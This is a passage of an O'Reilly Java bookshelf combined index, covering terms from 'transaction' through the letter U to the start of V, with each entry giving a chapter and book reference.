JavaSpace: C.1. Overview of JavaSpaces, Java Distributed Computing
JDBC: 9.4.1. Using Transactions with JDBC, Java Servlet Programming
management: 7.3. Transaction Management, Java Enterprise in a Nutshell
20. The javax.ejb.deployment Package, Java Enterprise in a Nutshell
EJB servers and: 1.3.5. Enterprise JavaBeans, Java Enterprise in a Nutshell
management (explicit): 8.7 explicit transaction management transactionsmanagement (explicit) EJB 1.0: Exceptions and Transactions, Enterprise JavaBeans
messages: 21. The javax.jms Package, Java Enterprise in a Nutshell
non-transactional beans: 8.4 Non-Transactional Beans, Enterprise JavaBeans
Object Transaction Service (OTS): 8.5 Explicit Transaction Management, Enterprise JavaBeans
propagation: 8.2.4 Transaction Propagation , Enterprise JavaBeans
remote: 1.3.6.2. Secure remote transactions, Java Distributed Computing
run-as-identity requirements: 7.7.2. Access-Control Deployment Attributes, Java Enterprise in a Nutshell
scope: 8.2.1 Transaction Scope, Enterprise JavaBeans
8.2.1 Transaction Scope, Enterprise JavaBeans
setting attributes for: 4.2.6 EJB 1.0: The Deployment Descriptor, Enterprise JavaBeans
4.3.5 EJB 1.0: The TravelAgent Beans' Deployment Descriptor, Enterprise JavaBeans
software supporting: 8.1.4 Is the TravelAgent Bean Durable?, Enterprise JavaBeans
stateful session beans: 8.8 Transactional Stateful Session Beans, Enterprise JavaBeans
support level, specifying (deployment descriptors): 7.7. Deploying an Enterprise JavaBeans Object, Java Enterprise in a Nutshell
synchronization: 19. The javax.ejb Package, Java Enterprise in a Nutshell
stateless session beans, not participating: 7.5.1. Stateless Versus Stateful Session Beans, Java Enterprise in a Nutshell
transactional attributes: 8.2.3 Transaction Attributes Defined, Enterprise JavaBeans
(see also attributes)
values, defined: 8.2.3 Transaction Attributes Defined, Enterprise JavaBeans
two-phase commit: 2.13.5. The JDBC Standard Extension, Java Enterprise in a Nutshell
XAConnection interface: 27. The javax.sql Package, Java Enterprise in a Nutshell
TRANSACTION_SERIALIZABLE class: 2.10. Transactions, Java Enterprise in a Nutshell
transceivers, event: 6.6.2. Distributed Events, Java Distributed Computing
Transferable interface: 6.1.2 The Transferable Interface, Java Foundation Classes
11. The java.awt.datatransfer Package, Java Foundation Classes
11. The java.awt.datatransfer Package, Java Foundation Classes
TransferableColor class: 6.4 A Data Source, Java Foundation Classes
TransferableProxy class: 12. The java.awt.dnd Package, Java Foundation Classes
transferring data: 6.1.1 The DataFlavor Class, Java Foundation Classes
6.1.2 The Transferable Interface, Java Foundation Classes
6.1.2 The Transferable Interface, Java Foundation Classes
(see also cut-and-paste and drag-and-drop)
transform( )
AffineTransform class: 4.11.2 Performing Transformations, Java Foundation Classes
Graphics2D class: 4.3 The Coordinate System, Java Foundation Classes
transformations
Java 2D: 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
4.3 The Coordinate System, Java Foundation Classes
4.10.6 Processing a BufferedImage, Java Foundation Classes
4.11 Transformations with AffineTransform, Java Foundation Classes
16. The java.awt.geom Package, Java Foundation Classes
TransformAttribute class: 15. The java.awt.font Package, Java Foundation Classes
TRANSIENT class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
transient fields (activation and passivation): 3.1.2 The Activation Mechanism, Enterprise JavaBeans
7.4.3 Passivated State, Enterprise JavaBeans
7.4.3 Passivated State, Enterprise JavaBeans
transient keyword: 2.1.1. Object Serialization and Memory Integrity, Java Security
translate( )
AffineTransform class: 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
4.11.1 Setting Up an AffineTransform, Java Foundation Classes
Graphics2D class: 4.3 The Coordinate System, Java Foundation Classes
Point class: 9. The java.awt Package, Java Foundation Classes
translateKey( ), KeyFactory class: 10.3.1. Using the KeyFactory class, Java Security
Transparency interface: 9. The java.awt Package, Java Foundation Classes
Transport Control Protocol (TCP): 2.1.2. Your Basic Socket, Java Distributed Computing
transport protocols
RMI architecture: 3.1.2. RMI Architecture, Java Enterprise in a Nutshell
tree structures, Swing: 2.2 Components, Java Foundation Classes
TreeCellEditor interface: 34. The javax.swing.tree Package, Java Foundation Classes
TreeCellRenderer interface: 34. The javax.swing.tree Package, Java Foundation Classes
treeCollapsed( ) (TreeExpansionListener): 2.6.6 Event Reference, Java Foundation Classes
treeExpanded( ) (TreeExpansionListener): 2.6.6 Event Reference, Java Foundation Classes
TreeExpansionEvent class: 26. The javax.swing.event Package, Java Foundation Classes
TreeExpansionListener interface: 2.6.6 Event Reference, Java Foundation Classes
26. The javax.swing.event Package, Java Foundation Classes
26. The javax.swing.event Package, Java Foundation Classes
TreeMap class: 23. The java.util Package, Java in a Nutshell
TreeModel interface: 3.19 JTree and TreeModel, Java Foundation Classes
34. The javax.swing.tree Package, Java Foundation Classes
JTree component: 2.7 Swing Component Architecture, Java Foundation Classes
TreeModelEvent class: 26. The javax.swing.event Package, Java Foundation Classes
TreeModelHandler class: 23. The javax.swing Package, Java Foundation Classes
TreeModelListener interface: 26. The javax.swing.event Package, Java Foundation Classes
TreeNode interface: 34. The javax.swing.tree Package, Java Foundation Classes
TreePath class: 34. The javax.swing.tree Package, Java Foundation Classes
TreeSelectionEvent class: 26. The javax.swing.event Package, Java Foundation Classes
TreeSelectionListener interface: 2.6.6 Event Reference, Java Foundation Classes
26. The javax.swing.event Package, Java Foundation Classes
TreeSelectionModel interface: 34. The javax.swing.tree Package, Java Foundation Classes
TreeSelectionRedirector class: 23. The javax.swing Package, Java Foundation Classes
TreeSet class: 23. The java.util Package, Java in a Nutshell
TreeUI class: 28. The javax.swing.plaf Package, Java Foundation Classes
treeWillCollapse( ): 2.6.6 Event Reference, Java Foundation Classes
treeWillExpand( ): 2.6.6 Event Reference, Java Foundation Classes
TreeWillExpandListener interface: 2.6.6 Event Reference, Java Foundation Classes
26. The javax.swing.event Package, Java Foundation Classes
trim( ): 12. The java.lang Package, Java in a Nutshell
trimToSize( ) (ArrayList): 23. The java.util Package, Java in a Nutshell
triple-DES: 13.5.2. Cipher Algorithms, Java Security
triple-DES key: 28. The javax.crypto.spec Package, Java in a Nutshell
Trojan horses: 1.1. What Is Security?, Java Security
troubleshooting: 2.7.1. SQL Warnings, Java Enterprise in a Nutshell
5.7. When Things Go Wrong, Java Servlet Programming
true-color pixel values: 6.1.1. Image Generation, Java Servlet Programming
trusted and untrusted applets: 10.1. Communication Options, Java Servlet Programming
trusted classes: 4.2. Trusted and Untrusted Classes, Java Security
4.3.2. Methods Relating to File Access, Java Security
(see also untrusted classes)
as members of untrusted classes: 6.1. Protected Methods of the Security Manager, Java Security
try block: 5.7.5. Knowing When No One's Listening, Java Servlet Programming
try clause: 2.6.16.1. try, Java in a Nutshell
try/catch/finally statements: 1.3.4. Fault Tolerance Through Exception Handling, Java Distributed Computing
2.6.16. The try/catch/finally Statement, Java in a Nutshell
TTL values: 16. The java.net Package, Java in a Nutshell
tuning: 3.1.1. A Single Java Virtual Machine, Java Servlet Programming
3.2. Servlet Reloading, Java Servlet Programming
13.8. Performance Tuning, Java Servlet Programming
two-phase commit protocol: 1.3.8. JTA: Managing Distributed Transactions, Java Enterprise in a Nutshell
JDBC drivers: 2.13.5. The JDBC Standard Extension, Java Enterprise in a Nutshell
two-phase commit protocol (2-PC): 8.2.4 Transaction Propagation , Enterprise JavaBeans
transaction manager, using: 8.5.2 Heuristic Decisions , Enterprise JavaBeans
two-way agent authentication: 5.7.1.3. One-, two-, and many-way cryptography, Java Distributed Computing
TX_BEAN_MANAGED attribute: 8.5 Explicit Transaction Management, Enterprise JavaBeans
type( )
Any class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
DynAny interface: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
TYPE attribute: 2.6.5. JavaServer Pages and JavaBeans, Java Servlet Programming
type conversion or casting operator (( )): 2.5.11. Special Operators, Java in a Nutshell
type conversions: 2.4.6. Type Conversions, Java in a Nutshell
type (directory entry): 6.11. Creating Directory Entries, Java Enterprise in a Nutshell
type (object class definition): 6.9.2. The DirContext Interface, Java Enterprise in a Nutshell
type safety of servlets: 1.3.4. Safety, Java Servlet Programming
TypeCode class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
TypeCodeHolder class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
typedef (IDL data types): 10.7. User-Defined Data Types, Java Enterprise in a Nutshell
arrays: 10.7.2. Arrays, Java Enterprise in a Nutshell
mapping to Java: 10.7.1.1. Mapping typedefs to Java, Java Enterprise in a Nutshell
TypeMismatch class: 31. The org.omg.CORBA.DynAnyPackage Package, Java Enterprise in a Nutshell
types: 4.7. Types, Reflection, and Dynamic Loading, Java in a Nutshell
Types class: 2.6. Results, Java Enterprise in a Nutshell
18. The java.sql Package, Java Enterprise in a Nutshell
types of permission: 5.2.1. The Permission Class, Java Security
5.2.1. The Permission Class, Java Security
(see also specific permission type)
typographical conventions: 0.4. Conventions Used in This Book, Java Servlet Programming
typographical errors, web site for reporting: 0.5. Request for Comments, Java Servlet Programming

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U

UCS-2 (Universal Character Set, 2-byte): 12.4.1. UCS-2 and UTF-8, Java Servlet Programming
UDP (Unreliable Datagram Protocol): 2.1.2. Your Basic Socket, Java Distributed Computing
UI delegate objects: 2.7 Swing Component Architecture, Java Foundation Classes
custom components and: 3.24.5 Handling Events, Java Foundation Classes
Uicode character set, subset: 12. The java.lang Package, Java in a Nutshell
UID class: D.3. The java.rmi.server Package, Java Distributed Computing
17. The java.rmi.server Package, Java Enterprise in a Nutshell
UIDefaults class: 23. The javax.swing Package, Java Foundation Classes
UIDefaults.LazyValue interface: 23. The javax.swing Package, Java Foundation Classes
UIManager class: 3.22 Pluggable Look-and-Feel, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
UIResource interface: 3.22.1 Using Themes with the Metal Look-and-Feel, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
23. The javax.swing Package, Java Foundation Classes
28. The javax.swing.plaf Package, Java Foundation Classes
29. The javax.swing.table Package, Java Foundation Classes
unary (~) operator (see bitwise complement operator)
unary minus (-): 2.5.2. Arithmetic Operators, Java in a Nutshell
unauthorized copying: 4.2.2. Locking a Servlet to a Server, Java Servlet Programming
UnavailableException class: 5.2.6.2. Servlet exceptions, Java Enterprise in a Nutshell
25. The javax.servlet Package, Java Enterprise in a Nutshell
A. Servlet API Quick Reference, Java Servlet Programming
unbind( )
Context interface: 6.8. Binding Objects, Java Enterprise in a Nutshell
Naming class: 13. The java.rmi Package, Java Enterprise in a Nutshell
Naming interface: D.1. The java.rmi Package, Java Distributed Computing
NamingContext interface: 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
Registry interface: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
16. The java.rmi.registry Package, Java Enterprise in a Nutshell
Remote interface: D.2. The java.rmi.registry Package, Java Distributed Computing
uncaughtException( ) (ThreadGroup): 12. The java.lang Package, Java in a Nutshell
unchecked exceptions: 8.7.4 Unchecked Exceptions, Enterprise JavaBeans
8.7.4 Unchecked Exceptions, Enterprise JavaBeans
UndeclaredThrowableException: 14. The java.lang.reflect Package, Java in a Nutshell
14. The java.lang.reflect Package, Java in a Nutshell
undecremented values: 2.5.4. Increment and Decrement Operators, Java in a Nutshell
UnderlineAction class: 30. The javax.swing.text Package, Java Foundation Classes
underscore (_) in identifier name: 2.3. Identifiers and Reserved Words, Java in a Nutshell
Understanding Digital Signatures book: 8.2. Digital Certificates, Java Servlet Programming
undo( )
AbstractUndoableEdit class: 35. The javax.swing.undo Package, Java Foundation Classes
CompoundEdit class: 35. The javax.swing.undo Package, Java Foundation Classes
StateEdit class: 35. The javax.swing.undo Package, Java Foundation Classes
UndoableEdit interface: 35. The javax.swing.undo Package, Java Foundation Classes
UndoManager class: 35. The javax.swing.undo Package, Java Foundation Classes
UndoableEdit interface: 35. The javax.swing.undo Package, Java Foundation Classes
UndoableEditEvent class: 26. The javax.swing.event Package, Java Foundation Classes
UndoableEditListener interface: 26. The javax.swing.event Package, Java Foundation Classes
UndoableEditSupport class: 35. The javax.swing.undo Package, Java Foundation Classes
UndoManager class: 35. The javax.swing.undo Package, Java Foundation Classes
UnexpectedException: D.1. The java.rmi Package, Java Distributed Computing
UnexpectedException class: 13. The java.rmi Package, Java Enterprise in a Nutshell
unexportObject( ) (Activatable): 14. The java.rmi.activation Package, Java Enterprise in a Nutshell
unicast events (JavaBeans): 6.1. Bean Basics, Java in a Nutshell
UnicastRemoteObject class: 3.6.2. Server Implementations, Java Distributed Computing
D.3. The java.rmi.server Package, Java Distributed Computing
3.1.1. RMI in Action, Java Enterprise in a Nutshell
3.2.1. Key RMI Classes for Remote Object Implementations, Java Enterprise in a Nutshell
14. The java.rmi.activation Package, Java Enterprise in a Nutshell
17. The java.rmi.server Package, Java Enterprise in a Nutshell
10.2.5.2. The superclass, Java Servlet Programming
nonpersistent references: 3.6. Remote Object Activation, Java Enterprise in a Nutshell
Unicode
alternative to escapes: 12.3.3. Reading and Writing Encoded Output, Java Servlet Programming
currency symbols: 2.3. Identifiers and Reserved Words, Java in a Nutshell
detailed description: 12.1.2. Unicode Escapes, Java Servlet Programming
for non-HTML output: 12.1.1. HTML Character Entities, Java Servlet Programming
for special characters: 12.1. Western European Languages, Java Servlet Programming
PrintWriter conversion from: 2.3.1. Writing Hello World, Java Servlet Programming
web site for information: 12.1.2. Unicode Escapes, Java Servlet Programming
web site for standard: 12.1.2. Unicode Escapes, Java Servlet Programming
Unicode character set: 2.1. The Unicode Character Set, Java in a Nutshell
7.1. Naming and Capitalization Conventions, Java in a Nutshell
PrintStream class and: 11. The java.io Package, Java in a Nutshell
UnicodeBlock class: 12. The java.lang Package, Java in a Nutshell
UTFDataFormatException: 11. The java.io Package, Java in a Nutshell
Unicom's Servlet CGI Development Kit, web site for information: 1.2.2. Add-on Servlet Engines, Java Servlet Programming
uniform resource locators (see URLs)
Uniform Resource Name (URN): 4.4.5. Determining What Was Requested, Java Servlet Programming
uninitialized variables: 2.1. Java Language Security Constructs, Java Security
uninstallUI( ) (UIResource): 28. The javax.swing.plaf Package, Java Foundation Classes
UnionMember class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
unions (IDL): 10.7.6. Unions, Java Enterprise in a Nutshell
30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
idltojava compiler bugs: 12. Java IDL Tools, Java Enterprise in a Nutshell
mapping to Java: 10.7.6.1. Mapping unions to Java, Java Enterprise in a Nutshell
unique identifier class (UID): 17. The java.rmi.server Package, Java Enterprise in a Nutshell
unit-of-work in transactions: 8.1 ACID Transactions, Enterprise JavaBeans
8.2.1 Transaction Scope, Enterprise JavaBeans
Universal Resource Identifier (URI): 4.4.5. Determining What Was Requested, Java Servlet Programming
Universal Time Coordinated (UTC): 11.13. Time Service, Java Enterprise in a Nutshell
Unix systems, RMI registry daemon: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
UNKNOWN class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
UnknownError: 12. The java.lang Package, Java in a Nutshell
UnknownGroupException class: 14. The java.rmi.activation Package, Java Enterprise in a Nutshell
UnknownHostException: D.1. The java.rmi Package, Java Distributed Computing
16. The java.net Package, Java in a Nutshell
UnknownObjectException class: 14. The java.rmi.activation Package, Java Enterprise in a Nutshell
UnknownServiceException: 16. The java.net Package, Java in a Nutshell
UnknownUserException class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
unloading servlets: 3.3.2. A Counter with Init and Destroy, Java Servlet Programming
UnmarshalException: D.1. The java.rmi Package, Java Distributed Computing
13. The java.rmi Package, Java Enterprise in a Nutshell
unmarshaling: 3.1.2. RMI Architecture, Java Enterprise in a Nutshell
3.1.2. RMI Architecture, Java Enterprise in a Nutshell
(see also marshaling)
classes, finding: 3.5.1. Configuring Clients and Servers for Remote Class Loading, Java Enterprise in a Nutshell
remote method arguments: 10.4.1.1. Mapping strings and characters to Java, Java Enterprise in a Nutshell
unmarshalling IDL objects: 33. The org.omg.CORBA.portable Package, Java Enterprise in a Nutshell
unmodifiable methods (Collection): 23. The java.util Package, Java in a Nutshell
unread( )
PushbackInputStream class: 11. The java.io Package, Java in a Nutshell
PushbackReader class: 11. The java.io Package, Java in a Nutshell
UnrecoverableKeyException: 17. The java.security Package, Java in a Nutshell
unreferenced( ): D.3. The java.rmi.server Package, Java Distributed Computing
Unreferenced class: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
Unreferenced interface: D.3. The java.rmi.server Package, Java Distributed Computing
unreferenced( ) (Unreferenced): 17. The java.rmi.server Package, Java Enterprise in a Nutshell
unregister( ) (Activatable): 14. The java.rmi.activation Package, Java Enterprise in a Nutshell
unregisterComponent( ) (ToolTipManager): 23. The javax.swing Package, Java Foundation Classes
unreliable datagram packets: 16. The java.net Package, Java in a Nutshell
Unreliable Datagram Protocol (UDP): 2.1.2. Your Basic Socket, Java Distributed Computing
UnresolvedPermission class: 17. The java.security Package, Java in a Nutshell
5.2.2. Permissions of the Java API, Java Security
D.1. Package java.security, Java Security
UnsatisfiedLinkError: 12. The java.lang Package, Java in a Nutshell
unsetEntityContext( ) 7.6.3. Entity Bean Implementation, Java Enterprise in a Nutshell
6.3.5 End of the Life Cycle, Enterprise JavaBeans
19. The javax.ejb Package, Java Enterprise in a Nutshell
unsigned right shift (>>>) operator: 2.5.7. Bitwise and Shift Operators, Java in a Nutshell
UnsupportedClassVersionError: 12. The java.lang Package, Java in a Nutshell
UnsupportedEncodingException: 11. The java.io Package, Java in a Nutshell
UnsupportedFlavorException class: 11. The java.awt.datatransfer Package, Java Foundation Classes
UnsupportedLookAndFeelException class: 23. The javax.swing Package, Java Foundation Classes
UnsupportedOperationException: 12. The java.lang Package, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
until loop: 1.3.2.12. Looping and computing the factorial, Java in a Nutshell
untrusted applets: 10.1. Communication Options, Java Servlet Programming
untrusted classes: 4.2. Trusted and Untrusted Classes, Java Security
file access and: 4.3.2. Methods Relating to File Access, Java Security
network access and: 4.3.3. Methods Relating to Network Access, Java Security
opening sockets, inCheck variable and: 6.1.2. Protected Instance Variables in the Security Manager, Java Security
trusted classes as members of: 6.1. Protected Methods of the Security Manager, Java Security
untrusted code: 5. Java Security, Java in a Nutshell
UnusableEntryException: C.2. Entry and EntryRep, Java Distributed Computing
update( ): 5.5.2. Public Key Signatures for Authentication, Java Distributed Computing
Checksum interface: 25. The java.util.zip Package, Java in a Nutshell
Cipher class: 13.5.1. Using the Cipher Class, Java Security
26. The javax.crypto Package, Java in a Nutshell
MessageDigest class: 9.1. Using the Message Digest Class, Java Security
17. The java.security Package, Java in a Nutshell
Observable class: 23. The java.util Package, Java in a Nutshell
Observer interface: 23. The java.util Package, Java in a Nutshell
Signature class: 12.1.1. Using the Signature Class, Java Security
17. The java.security Package, Java in a Nutshell
12.1.1. Using the Signature Class, Java Security
update( ) (PaintEvent): 14. The java.awt.event Package, Java Foundation Classes
updateChooser( ) (AbstractColorChooserPanel): 25. The javax.swing.colorchooser Package, Java Foundation Classes
updateComponentTreeUI( ) (SwingUtilities): 23. The javax.swing Package, Java Foundation Classes
updateFromDbase( ): 7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
7.3. Multi-Database Applications, Java Distributed Computing
updateInt( ) (ResultSet): 2.13.1. Results Handling, Java Enterprise in a Nutshell
updateRow( ) (ResutSet): 2.13.1. Results Handling, Java Enterprise in a Nutshell
updates (ResultSet), JDBC 1.0 vs. JDBC 2.0: 2.13.1. Results Handling, Java Enterprise in a Nutshell
updateToDbase( ): 7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
7.3. Multi-Database Applications, Java Distributed Computing
updating
attributes: 23. The javax.naming.directory Package, Java Enterprise in a Nutshell
23. The javax.naming.directory Package, Java Enterprise in a Nutshell
batch updates (JDBC): 2.13.2. Batch Updates, Java Enterprise in a Nutshell
result sets
existing rows, editing data: 2.13.1. Results Handling, Java Enterprise in a Nutshell
result sets, updateable: 2.13.1. Results Handling, Java Enterprise in a Nutshell
ResultSet
JDBC 2.0 support: 2.13.1. Results Handling, Java Enterprise in a Nutshell
support information (DataBaseMetaData): 2.13.1. Results Handling, Java Enterprise in a Nutshell
SQL databases: 9.2.7. Updating the Database, Java Servlet Programming
SQL tables: 8.4.3. UPDATE, Java Enterprise in a Nutshell
update counts: 2.5.1. Multiple Result Sets, Java Enterprise in a Nutshell
2.13.2. Batch Updates, Java Enterprise in a Nutshell
uploading files: 4.4.9.3. Receiving files using the input stream, Java Servlet Programming
URI path, specifying: 5.10.3. Resource Abstraction, Java Enterprise in a Nutshell
URL class: 2.2. URLs, URLConnections, and ContentHandlers, Java Distributed Computing
16. The java.net Package, Java in a Nutshell
16. The java.net Package, Java in a Nutshell
4.11. Networking, Java in a Nutshell
13.6.3. SSL Encryption, Java Security
input/output streams and: 4.11. Networking, Java in a Nutshell
URL class loaders: 3.2.5. The URL Class Loader, Java Security
3.6.1. Delegation, Java Security
D.8. Miscellaneous Packages, Java Security
defining classes in packages: 3.4.3. Implementing Security Policies in the Class Loader, Java Security
URLClassLoader class: 16. The java.net Package, Java in a Nutshell
D.8. Miscellaneous Packages, Java Security
example: 2.3.1. Loading Classes from the Network, Java Distributed Computing
URLConnection class: 10.2.2.2. Back to the applet, Java Servlet Programming
2.2. URLs, URLConnections, and ContentHandlers, Java Distributed Computing
16. The java.net Package, Java in a Nutshell
16. The java.net Package, Java in a Nutshell
URLDecoder class: 16. The java.net Package, Java in a Nutshell
URLEncoder class: 16. The java.net Package, Java in a Nutshell
URLStreamHandler class: 16. The java.net Package, Java in a Nutshell
URLStreamHandlerFactory interface: 16. The java.net Package, Java in a Nutshell
URLs: 4.11. Networking, Java in a Nutshell
2.2. URLs, URLConnections, and ContentHandlers, Java Distributed Computing
access to: 1.3.2. Power, Java Servlet Programming
bundling into MarshalledObject: 3.6.3.2. Passing data with the MarshalledObject, Java Enterprise in a Nutshell
class bytecodes, storing: 3.6.3. Registering Activatable Objects, Java Enterprise in a Nutshell
class file name, encoding (marshalling): 3.5.1. Configuring Clients and Servers for Remote Class Loading, Java Enterprise in a Nutshell
class names, loading: 3.6.4. Activation Groups, Java Enterprise in a Nutshell
classes, loading: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
encoding (session tracking): 5.8. Session Tracking, Java Enterprise in a Nutshell
examples in this book: 0.5. Examples Online, Java in a Nutshell
for access to servlet: 2.3.2. Running Hello World, Java Servlet Programming
https\:: 8.3. Secure Sockets Layer (SSL), Java Servlet Programming
identifying: 4.4.5. Determining What Was Requested, Java Servlet Programming
initial context, filesystem service (Sun): 6.2. A JNDI Example, Java Enterprise in a Nutshell
HttpURLConnection class: 16. The java.net Package, Java in a Nutshell
InfoBus standard extension: 6. JavaBeans, Java in a Nutshell
Java language specification: 2. Java Syntax from the Ground Up, Java in a Nutshell
JAR archive URLs: 16. The java.net Package, Java in a Nutshell
Java Activation Framework standard extension: 6. JavaBeans, Java in a Nutshell
JavaBeans conventions: 6. JavaBeans, Java in a Nutshell
6. JavaBeans, Java in a Nutshell
Java programming: 0.4. Java Programming Resources Online, Java in a Nutshell
tutorial: 1.3.3. Exceptions, Java in a Nutshell
JDBC: 2.3.1. JDBC URLs, Java Enterprise in a Nutshell
odbc subprotocol: 2.3.2. The JDBC-ODBC Bridge, Java Enterprise in a Nutshell
finding for vendors: 6.2.6.2 EJB 1.0: Using JDBC in EJB, Enterprise JavaBeans
6.2.12 EJB 1.0: Deploying the Bean-Managed Ship Bean, Enterprise JavaBeans
JNDI server, connecting with: 7.8.1. Finding Home Interfaces Through JNDI, Java Enterprise in a Nutshell
JNDI, use of: 5.1 Locating Beans with JNDI, Enterprise JavaBeans
length limit: 2.1.2. GET and POST, Java Servlet Programming
length limitations, exceeding (POST requests): 5.2.3. POST, HEAD, and Other Requests, Java Enterprise in a Nutshell
loading classes from (example): 2.3.1. Loading Classes from the Network, Java Distributed Computing
loading images from: 4.1.5 Images, Java Foundation Classes
MalformedURLException: 16. The java.net Package, Java in a Nutshell
marshaled byte stream classes, finding (remote): 3.5.1. Configuring Clients and Servers for Remote Class Loading, Java Enterprise in a Nutshell
method names, changes: 5.10. The Servlet API 2.1, Java Enterprise in a Nutshell
object names, fully qualified: 3.1.3.1. Naming/registry service, Java Enterprise in a Nutshell
Oracle JDBC-Thin driver: 2.3.1. JDBC URLs, Java Enterprise in a Nutshell
portability certification program (Sun): 7.2. Portability Conventions and Pure Java Rules, Java in a Nutshell
quick reference material, generating: 0.8. How the Quick Reference Is Generated, Java in a Nutshell
reading policies from: 5.3.1. The Default Policy, Java Security
resource abstraction (servlets): 5.10.3. Resource Abstraction, Java Enterprise in a Nutshell
rewriting: 7.3. URL Rewriting, Java Servlet Programming
RMI remote objects: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
SDK: 1.3.1. Compiling and Running the Program, Java in a Nutshell
security: 5.5.3. Security for System Administrators, Java in a Nutshell
servlets: 5.2.1. HTTP Servlets, Java Enterprise in a Nutshell
5.2.2. Forms and Interaction, Java Enterprise in a Nutshell
target, updating (request dispatching): 5.10.1. Request Dispatching, Java Enterprise in a Nutshell
XML deployment descriptors: 10.3 The Document Header, Enterprise JavaBeans
US-ASCII character set: 12.3.1. Charsets, Java Servlet Programming
12.4. Multiple Languages, Java Servlet Programming
U.S. restriction on encryption: 13.1. Export Restrictions, Java Security
-usepolicy flag: 1.4.2. Built-in Java Application Security, Java Security
1.4.2. Built-in Java Application Security, Java Security
5.3.1. The Default Policy, Java Security
useProtocolVersion( ) (ObjectOutputStream): 11. The java.io Package, Java in a Nutshell
user access, restricting: 5.2.5. Servlet Requests, Java Enterprise in a Nutshell
User-Agent header: 2.1.1. Requests, Responses, and Headers, Java Servlet Programming
4.4.8. Request Headers, Java Servlet Programming
6.2. Compressed Content, Java Servlet Programming
user API (java.security): 5.2.1.1. The User API, Java Distributed Computing
user authentication (see authentication)
user authorization
advantages: 7.1. User Authorization, Java Servlet Programming
example: 7.1. User Authorization, Java Servlet Programming
in request header: 4.4.8. Request Headers, Java Servlet Programming
type of: 4.3.3. Getting Information About the User, Java Servlet Programming
user information, access to: 4.3.6. Methods Protecting System Resources, Java Security
user preference files, Properties class and: 4.6. Collections, Java in a Nutshell
user space: 4.3 The Coordinate System, Java Foundation Classes
UserException class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
username and password, encapsulating: 16. The java.net Package, Java in a Nutshell
usernames
authenticating: 5.2.7. Security, Java Enterprise in a Nutshell
database connections: 2.4. Connecting to the Database, Java Enterprise in a Nutshell
users
identifying: 4.3.3. Getting Information About the User, Java Servlet Programming
listing: 13.4.1. Finger, Java Servlet Programming
security and: 5.5. Security for Everyone, Java in a Nutshell
UserTransaction interface: 8.5 Explicit Transaction Management, Enterprise JavaBeans
7.3. Transaction Management, Java Enterprise in a Nutshell
7.8.3. Using Client-Side Transactions, Java Enterprise in a Nutshell
28. The javax.transaction Package, Java Enterprise in a Nutshell
defining: 8.5.3 UserTransaction, Enterprise JavaBeans
methods, defined: 8.5.3 UserTransaction, Enterprise JavaBeans
UTF-8
UTFDataFormatException: 11. The java.io Package, Java in a Nutshell
12.4.1. UCS-2 and UTF-8, Java Servlet Programming
UTFDataFormatException: 11. The java.io Package, Java in a Nutshell
Utilities class: 30. The javax.swing.text Package, Java Foundation Classes
utility classes for policy implementation: 6.3.1. Utility Classes, Java Security

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: V

validate( ), Certificate class: 10.4.5. Revoked Certificates, Java Security
validateObject( ) (ObjectInputValidation): 11. The java.io Package, Java in a Nutshell
validatePage( ) (PrinterJob): 21. The java.awt.print Package, Java Foundation Classes
validatePendingAdd( )(BeanContextSupport): 10. The java.beans.beancontext Package, Java in a Nutshell
validatePendingSetBeanContext( ) (BeanContextChildSupport): 10. The java.beans.beancontext Package, Java in a Nutshell
validation
InvalidObjectException: 11. The java.io Package, Java in a Nutshell
ObjectInputValidation class: 11. The java.io Package, Java in a Nutshell
rules: 9.2.2 Validation Rules in Dependent Objects, Enterprise JavaBeans
-validity option (keytool): A.1.3. Adding a Key Entry, Java Security
VALUE attribute, <PARAM> tag (HTML): 7.2.1 The <APPLET> Tag, Java Foundation Classes
value( ) (BindingType): 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
value functions (SQL): 8.5. Functions, Java Enterprise in a Nutshell
date and time functions: 8.5.2. Value Functions, Java Enterprise in a Nutshell
valueBound( ): 5.8.1. HttpSessionBindingListener, Java Enterprise in a Nutshell
26. The javax.servlet.http Package, Java Enterprise in a Nutshell
7.5.9. Session Binding Events, Java Servlet Programming
valueChanged( ) (TreeSelectionListener): 2.6.6 Event Reference, Java Foundation Classes
valueForPathChanged( ) (TreeModel): 34. The javax.swing.tree Package, Java Foundation Classes
ValueMember class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
valueOf( )
Boolean class: 12. The java.lang Package, Java in a Nutshell
Byte class: 12. The java.lang Package, Java in a Nutshell
Float class: 12. The java.lang Package, Java in a Nutshell
Integer class: 12. The java.lang Package, Java in a Nutshell
Long class: 12. The java.lang Package, Java in a Nutshell
Short class: 12. The java.lang Package, Java in a Nutshell
String class: 12. The java.lang Package, Java in a Nutshell
